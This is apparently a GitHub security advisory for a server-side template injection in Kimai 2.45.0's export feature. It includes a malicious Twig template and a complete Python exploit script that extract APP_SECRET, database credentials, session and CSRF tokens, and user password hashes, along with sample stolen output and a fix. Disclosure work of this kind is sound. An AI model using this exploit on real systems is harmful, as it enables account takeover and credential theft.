GHSA-JG2J-2W24-54CG
Vulnerability from github – Published: 2026-01-20 17:07 – Updated: 2026-01-20 17:07Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)
Vulnerability Summary
| Field | Value |
|---|---|
| Title | Authenticated SSTI via Permissive Export Template Sandbox |
| Attack Complexity | Low |
| Privileges Required | High (Admin with export permissions and server access) |
| User Interaction | None |
| Impact | Confidentiality: HIGH (Credential/Secret Extraction) |
| Affected Versions | Kimai 2.45.0 (likely earlier versions) |
| Tested On | Docker: kimai/kimai2:apache-2.45.0 |
| Discovery Date | 2026-01-05 |
Why Scope is "Changed": The extracted APP_SECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.
Vulnerability Description
Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:
- Environment Variables (APP_SECRET, DATABASE_URL)
- All User Password Hashes (bcrypt)
- Serialized Session Tokens
- CSRF Tokens
Prerequisites
- Authenticated Access: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)
- Template Deployment: Ability to place a malicious
.pdf.twigtemplate in/opt/kimai/var/export/via: - Filesystem access (server admin)
Test Environment
Users in Test Instance
The test environment contains 2 users whose password hashes were successfully extracted:
Kimai Users Page - screenshot_users.png:
| User | Role | Hash Extracted |
|---|---|---|
| admin | ROLE_SUPER_ADMIN | ✅ Yes |
| lowpriv | ROLE_USER | ✅ Yes |
Confirmed Exploitation Evidence
Test Date: 2026-01-05
Extracted Data (Actual Output from Exploit)
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{
i:0;N;i:1;s:12:"secured_area";i:2;a:5:{
i:0;O:15:"App\Entity\User":5:{
s:2:"id";i:1;
s:8:"username";s:5:"admin";
s:7:"enabled";b:1;
s:5:"email";s:17:"admin@example.com";
s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye";
}
i:1;b:1;i:2;N;i:3;a:0:{}
i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";}
}
}
3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
Root Cause Analysis
Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php
The export functionality uses ExportPolicy which includes DefaultPolicy:
$this->policy->addPolicy(new DefaultPolicy());
The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php
final class DefaultPolicy implements SecurityPolicyInterface
{
public function checkSecurity($tags, $filters, $functions): void
{
// EMPTY - No restrictions on Twig tags/filters/functions
}
public function checkMethodAllowed($obj, $method): void
{
// EMPTY - Allows ANY method call on ANY object
}
public function checkPropertyAllowed($obj, $property): void
{
// EMPTY - Allows ANY property access on ANY object
}
}
This allows templates to call methods like:
- app.request.server.get("APP_SECRET") - Environment variable access
- app.session.get("_security_secured_area") - Session data access
- entry.user.password - Password hash access
Exploitation Steps
Step 1: Deploy Malicious Template
Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:
docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE"
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>SSTI Data Extraction</title>
<style>
body { font-family: monospace; font-size: 10px; }
h1, h2 { color: #333; }
pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }
</style>
</head>
<body>
<h1>===SSTI_EXTRACTION_START===</h1>
<h2>1. ENVIRONMENT VARIABLES</h2>
<pre>
APP_SECRET: {{ app.request.server.get("APP_SECRET") }}
DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }}
APP_ENV: {{ app.request.server.get("APP_ENV") }}
APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }}
</pre>
<h2>2. SESSION TOKEN (SERIALIZED)</h2>
<pre>
{{ app.session.get("_security_secured_area") }}
</pre>
<h2>3. CURRENT USER DETAILS</h2>
<pre>
{% set user = query.currentUser %}
username: {{ user.username }}
email: {{ user.email }}
password_hash: {{ user.password }}
roles: {{ user.roles|join(", ") }}
id: {{ user.id }}
</pre>
<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>
<pre>
{% set seen = {} %}
{% for entry in entries %}
{% if entry.user is defined and entry.user.username not in seen %}
{% set seen = seen|merge({(entry.user.username): true}) %}
{{ entry.user.username }}:{{ entry.user.password }}
{% endif %}
{% endfor %}
</pre>
<h2>5. CSRF TOKENS</h2>
<pre>
_csrf/search: {{ app.session.get("_csrf/search") }}
_csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }}
_csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }}
</pre>
<h2>6. USER PREFERENCES</h2>
<pre>
{% set user = query.currentUser %}
{% for pref in user.preferences %}
{{ pref.name }}: {{ pref.value }}
{% endfor %}
</pre>
<h1>===SSTI_EXTRACTION_END===</h1>
</body>
</html>
TEMPLATE'
Step 2: Run the Exploit
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
Step 3: Extract Text from PDF
pdftotext kimai_extracted_data.pdf -
Detailed Exploit Usage
Requirements
# Install Python dependencies
pip install requests
# Install PDF text extraction tool
sudo apt install poppler-utils
Command Syntax
python3 ssti_exploit.py <target_url> <username> <password> [template_name]
Arguments:
target_url - Kimai instance URL (e.g., http://localhost:8001)
username - Valid admin username with export permissions
password - User password
template_name - Optional: custom template (default: ssti-extract.pdf.twig)
Example Usage
# Basic usage
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
# With custom template
python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig
Expected Output
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
[*] Connecting to http://localhost:8001
[*] Authenticating as admin
[+] Successfully authenticated as admin
[*] Triggering SSTI with template: ssti-extract.pdf.twig
[+] PDF generated successfully: 35356 bytes
[+] PDF saved to: kimai_extracted_data.pdf
============================================================
RAW EXTRACTED DATA:
============================================================
===SSTI_EXTRACTION_START===
1. ENVIRONMENT VARIABLES
APP_SECRET: change_this_to_something_unique
DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
APP_ENV: prod
2. SESSION TOKEN (SERIALIZED)
O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}
3. CURRENT USER DETAILS
username: admin
email: admin@example.com
password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
roles: ROLE_SUPER_ADMIN, ROLE_USER
4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a
5. CSRF TOKENS
_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4
_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58
===SSTI_EXTRACTION_END===
============================================================
CRITICAL FINDINGS SUMMARY:
============================================================
[!] APP_SECRET: change_this_to_something_unique
[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0
[!] Password Hashes Found: 2 unique
admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...
lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...
[!] Session Token: Present (serialized PHP object)
[!] CSRF Tokens: 2 found
[+] Exploitation successful!
[+] Full output saved to: kimai_extracted_data.pdf
Output Files
| File | Description |
|---|---|
kimai_extracted_data.pdf |
PDF containing all extracted sensitive data |
Manual PDF Text Extraction
# Extract text from PDF
pdftotext kimai_extracted_data.pdf -
# Save to file
pdftotext kimai_extracted_data.pdf extracted_secrets.txt
# Search for specific secrets
pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)"
Error Handling
| Error Message | Cause | Solution |
|---|---|---|
Cannot connect to <url> |
Target unreachable | Check URL and network |
Authentication failed |
Wrong credentials | Verify username/password |
Template not found |
Template not deployed | Deploy template first (Step 1) |
Access denied |
Insufficient permissions | Use admin account with export perms |
pdftotext not installed |
Missing tool | Run apt install poppler-utils |
Complete Exploit Script (ssti_exploit.py)
#!/usr/bin/env python3
"""
Kimai 2.45.0 - SSTI Information Disclosure Exploit
Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens
Prerequisites:
1. Valid admin credentials
2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig
Usage: python3 ssti_exploit.py <target_url> <username> <password>
Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!
Author: Security Research
Date: 2026-01-05
"""
import requests
import re
import subprocess
import sys
import os
class KimaiSSTIExploit:
def __init__(self, target, username, password):
self.target = target.rstrip('/')
self.session = requests.Session()
self.username = username
self.password = password
def login(self):
"""Authenticate to Kimai"""
print(f"[*] Connecting to {self.target}")
try:
login_page = self.session.get(f"{self.target}/en/login", timeout=10)
except requests.exceptions.ConnectionError:
raise Exception(f"Cannot connect to {self.target}")
except requests.exceptions.Timeout:
raise Exception(f"Connection timeout to {self.target}")
if login_page.status_code != 200:
raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}")
csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text)
if not csrf_match:
raise Exception("CSRF token not found on login page")
csrf = csrf_match.group(1)
print(f"[*] Authenticating as {self.username}")
login_resp = self.session.post(
f"{self.target}/en/login_check",
data={
"_username": self.username,
"_password": self.password,
"_csrf_token": csrf
},
allow_redirects=True,
timeout=10
)
# Check for successful login
if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower():
if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower():
raise Exception("Invalid username or password")
raise Exception("Authentication failed - check credentials")
print(f"[+] Successfully authenticated as {self.username}")
return True
def trigger_ssti(self, template_name="ssti-extract.pdf.twig"):
"""Trigger SSTI via export functionality"""
print(f"[*] Triggering SSTI with template: {template_name}")
try:
export_resp = self.session.post(
f"{self.target}/en/export/data",
data={
"renderer": template_name,
"state": "3", # All states
"billable": "0", # All billable states
"exported": "5", # All export states
"markAsExported": "0",
},
timeout=60
)
except requests.exceptions.Timeout:
raise Exception("Export request timed out")
if export_resp.status_code == 404:
raise Exception(f"Template '{template_name}' not found - deploy template first")
if export_resp.status_code == 403:
raise Exception("Access denied - user lacks export permissions")
if export_resp.status_code != 200:
raise Exception(f"Export failed: HTTP {export_resp.status_code}")
if b'%PDF' not in export_resp.content[:10]:
if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():
raise Exception("Template rendering error - check template syntax")
raise Exception("Invalid response - expected PDF output")
print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes")
return export_resp.content
def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"):
"""Extract text from PDF using pdftotext"""
with open(output_path, "wb") as f:
f.write(pdf_content)
try:
result = subprocess.run(
["pdftotext", output_path, "-"],
capture_output=True,
text=True,
timeout=30
)
if result.returncode != 0:
print(f"[-] pdftotext error: {result.stderr}")
return None
return result.stdout
except FileNotFoundError:
print("[-] pdftotext not installed")
print(" Install with: apt install poppler-utils")
return None
except subprocess.TimeoutExpired:
print("[-] pdftotext timed out")
return None
def parse_findings(self, text):
"""Parse and categorize extracted data"""
findings = {
"app_secret": None,
"database_url": None,
"password_hashes": [],
"session_token": None,
"csrf_tokens": []
}
lines = text.split('\n')
for i, line in enumerate(lines):
line = line.strip()
if "APP_SECRET:" in line:
findings["app_secret"] = line.split("APP_SECRET:")[-1].strip()
if "DATABASE_URL:" in line or "mysql://" in line:
if "mysql://" in line:
findings["database_url"] = line.strip()
elif i + 1 < len(lines):
findings["database_url"] = lines[i + 1].strip()
if "$2y$" in line:
findings["password_hashes"].append(line)
if "UsernamePasswordToken" in line:
findings["session_token"] = "Present (serialized PHP object)"
if "_csrf" in line.lower() or len(line) == 43:
if ":" in line:
findings["csrf_tokens"].append(line)
return findings
def print_banner():
print("""
╔═══════════════════════════════════════════════════════════════╗
║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║
║ ║
║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║
╚═══════════════════════════════════════════════════════════════╝
""")
def main():
print_banner()
if len(sys.argv) < 4:
print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]")
print()
print("Arguments:")
print(" target_url - Kimai instance URL (e.g., http://localhost:8001)")
print(" username - Valid admin username")
print(" password - User password")
print(" template_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
print()
print("Example:")
print(" python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!")
print()
print("Prerequisites:")
print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
print(" 2. User must have export permissions (ROLE_ADMIN or higher)")
sys.exit(1)
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig"
exploit = KimaiSSTIExploit(target, username, password)
try:
# Step 1: Authenticate
exploit.login()
# Step 2: Trigger SSTI
pdf_content = exploit.trigger_ssti(template)
# Step 3: Save PDF
output_file = "kimai_extracted_data.pdf"
with open(output_file, "wb") as f:
f.write(pdf_content)
print(f"[+] PDF saved to: {output_file}")
# Step 4: Extract and display text
text = exploit.extract_text(pdf_content)
if text:
print()
print("="*60)
print("RAW EXTRACTED DATA:")
print("="*60)
print(text[:2000])
if len(text) > 2000:
print(f"\n... [{len(text) - 2000} more characters]")
# Parse findings
findings = exploit.parse_findings(text)
print()
print("="*60)
print("CRITICAL FINDINGS SUMMARY:")
print("="*60)
if findings["app_secret"]:
print(f"[!] APP_SECRET: {findings['app_secret']}")
if findings["database_url"]:
print(f"[!] DATABASE_URL: {findings['database_url']}")
if findings["password_hashes"]:
unique_hashes = list(set(findings["password_hashes"]))
print(f"[!] Password Hashes Found: {len(unique_hashes)} unique")
for h in unique_hashes[:5]:
print(f" {h[:80]}...")
if len(unique_hashes) > 5:
print(f" ... and {len(unique_hashes) - 5} more")
if findings["session_token"]:
print(f"[!] Session Token: {findings['session_token']}")
if findings["csrf_tokens"]:
print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found")
print()
print("[+] Exploitation successful!")
print(f"[+] Full output saved to: {output_file}")
return 0
except KeyboardInterrupt:
print("\n[-] Interrupted by user")
return 130
except Exception as e:
print(f"[-] Exploitation failed: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())
Impact Analysis
| Extracted Data | Security Impact |
|---|---|
APP_SECRET |
Can forge Symfony login links to access ANY user account |
DATABASE_URL |
Direct database connection credentials exposed |
| Password Hashes | Offline password cracking possible (bcrypt) |
| Session Tokens | Session structure analysis, potential replay attacks |
| CSRF Tokens | Bypass CSRF protection for subsequent attacks |
Attack Chain Example
- Exploit SSTI → Extract
APP_SECRET - Use
APP_SECRETto forge login link for target user - Access target user's account without knowing their password
Remediation
Immediate Fix
Replace DefaultPolicy with InvoicePolicy in ExportPolicy:
// src/Twig/SecurityPolicy/ExportPolicy.php
// Change:
$this->policy->addPolicy(new DefaultPolicy());
// To:
$this->policy->addPolicy(new InvoicePolicy());
Additional Hardening
-
Block environment access in templates:
php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } } -
Block session access in templates:
php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); } -
Restrict User object property access:
php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }
Reported by: Mahammad Huseynkhanli
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.46.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23626"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-20T17:07:13Z",
"nvd_published_at": "2026-01-18T23:15:48Z",
"severity": "MODERATE"
},
"details": "# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai\u0027s export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n\u003cimg width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" /\u003e\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | \u2705 Yes |\n| lowpriv | ROLE_USER | \u2705 Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n i:0;O:15:\"App\\Entity\\User\":5:{\n s:2:\"id\";i:1;\n s:8:\"username\";s:5:\"admin\";\n s:7:\"enabled\";b:1;\n s:5:\"email\";s:17:\"admin@example.com\";\n s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n }\n i:1;b:1;i:2;N;i:3;a:0:{}\n i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements SecurityPolicyInterface\n{\n public function checkSecurity($tags, $filters, $functions): void\n {\n // EMPTY - No restrictions on Twig tags/filters/functions\n }\n\n public function checkMethodAllowed($obj, $method): void\n {\n // EMPTY - Allows ANY method call on ANY object\n }\n\n public function checkPropertyAllowed($obj, $property): void\n {\n // EMPTY - Allows ANY property access on ANY object\n }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c \u0027cat \u003e /opt/kimai/var/export/ssti-extract.pdf.twig \u003c\u003c \"TEMPLATE\"\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003ctitle\u003eSSTI Data Extraction\u003c/title\u003e\n \u003cstyle\u003e\n body { font-family: monospace; font-size: 10px; }\n h1, h2 { color: #333; }\n pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_START===\u003c/h1\u003e\n\n\u003ch2\u003e1. ENVIRONMENT VARIABLES\u003c/h2\u003e\n\u003cpre\u003e\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e2. SESSION TOKEN (SERIALIZED)\u003c/h2\u003e\n\u003cpre\u003e\n{{ app.session.get(\"_security_secured_area\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e3. CURRENT USER DETAILS\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n\u003c/pre\u003e\n\n\u003ch2\u003e4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\u003c/h2\u003e\n\u003cpre\u003e\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch2\u003e5. CSRF TOKENS\u003c/h2\u003e\n\u003cpre\u003e\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e6. USER PREFERENCES\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_END===\u003c/h1\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\nTEMPLATE\u0027\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\n\nArguments:\n target_url - Kimai instance URL (e.g., http://localhost:8001)\n username - Valid admin username with export permissions\n password - User password\n template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected Output\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 Kimai 2.45.0 - SSTI Information Disclosure Exploit \u2551\n\u2551 \u2551\n\u2551 Extracts: APP_SECRET, DATABASE_URL, Password Hashes \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: 